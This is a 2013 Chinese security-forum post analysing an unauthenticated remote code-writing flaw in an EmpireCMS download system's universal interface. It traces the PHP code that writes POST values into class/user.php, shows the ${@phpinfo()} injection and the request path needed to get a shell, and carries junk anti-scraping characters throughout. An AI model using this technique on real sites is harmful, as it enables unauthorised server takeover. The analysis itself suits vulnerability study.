中国网络渗透测试联盟

标题: 帝国万能接口漏洞0day [打印本页]

作者: admin 时间: 2013-1-23 09:34
标题: 帝国万能接口漏洞0day
这是帝国的一套下载系统如图 ps(不需要任何账户和密码，直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口，如图而这个接口很多人又不会删除，由此他带来了很大的安全隐患，导致直接getshell，下面分析代码当我们
$ {6 ?' |5 l  z1 `% g+ S! R& G' K5 v% h$ O: g' Z$ ?0 t

& ^1 J: X! I; _; q& X' J
这是帝国的一套下载系统如图  _( ?4 G2 s' j& d: m  j- P
ps(不需要任何账户和密码，直接写shell)
: l/ L& v) f& X7 ~  j9 c5 n, X4 p& o
由于很多站是由于下载要整合discuz 等等一些论坛...., k% S- G8 B3 ~0 G' K

5 e6 Q; y! i) N' K+ H
而帝国他又有一个万能接口，如图
, \) ^9 _0 R' w) F/ q( j2 }3 j' h
[attach]170[/attach]# J! I/ i# `' W4 A" p% `
( y& s! G% L" S9 _( z8 _
而这个接口很多人又不会删除，由此他带来了很大的安全隐患，导致直接getshell，下面分析代码
/ W) T3 ?# F7 |  `, z: H* `3 W: o/ `( @
当我们提交的时候，他地址是提交到index.php?install=1&setup=SetConfig
1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}
复制代码
他这里开始调用一个SetUserCOMConfig的函数了，我们继续跟踪7 w9 e" ~/ o, N* f3 }$ Z. f( H
9 J  J. ]# U& }5 h, F  B7 @% z( I& n
在data/fun.php中的15行
2 u2 Y; N# C( C8 d) J. ]! _- @$ E) B. _* p
我们可以看到这个函数
1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {: Y2 N% w7 p( K. H( S

17. InstallShowMsg(' /class/user.php 文件权限没有设为0777，安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);
复制代码
.....//省略若干
( o. K+ l( u7 j8 L
8 I/ N) A/ H& P6 k* |2 x5 r这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
0 O1 F  B, A9 \; |2 K
% B& w2 S- H* |他将传进来的变量进行了切割，然后赋给了$filetext) X# N  _# E  X5 t' s6 h. Z; O
& u7 f9 D7 r4 ?
然后看下面
1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777，安装不成功.');
6. }
7. @fputs($fp,$filetext);
复制代码
打开了一个class/user.php文件，然后将$filetext写入了
( h& Y( D; G9 G) |: c4 @  v1 }: h% u9 D0 O9 }& F, r% w- v6 l! m
我们看看写入的结果，随便填一个
, y( S6 Y9 i' X- K
[attach]171[/attach]
$ s5 U1 i! d! @: v* e5 k* y3 G, ~1 s, X! H3 `
# B& @5 {" X7 A
[attach]172[/attach]: O2 ~, }. M% e5 n1 F3 Y/ A' D
( C; d- p% r( t( x
, [% U# k# g- V
3 t7 u, r+ s* A6 F- x

' S: }6 Z4 ^2 o8 [/ x7 b
: F* _# J) q5 u9 a. j2 [
6 b: U' j7 y; A* A$ `  ?
2 B* E% v# r. _/ ?0 ^% H$ t+ A' N: Z0 `& }+ Z

( Y6 _( m; s9 W[attach]173[/attach]
  _4 r7 _, G+ q
# R0 w  M+ E" r) j3 ?. o# z  h& o2 C1 q& r1 G9 B5 e$ e3 ~
8 @  s  x! U1 t1 ~
- k( ~3 f7 R) G7 L) h6 U

' H$ w( w. ]' ~* V- A5 E[attach]174[/attach]
7 r# |0 R3 H% K! w1 E# |: g( z& m+ h. t5 v
所以我们淫荡点，写个${@phpinfo()}试试
# z5 v- i; }" W& X9 J% Y! T4 V

然后访问以下class/user.php这个文件
1 N, q1 s& y  D6 G9 K* }日了吧

3 z) {/ w2 l; B  e
/ H# G* [2 c& e% x) q# n
* R/ V4 ~  |% r) ~6 y
$ |0 }5 A  `- z! v  X$ k: L# H
" a# `+ D! z% f3 U7 V& c! w7 V

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)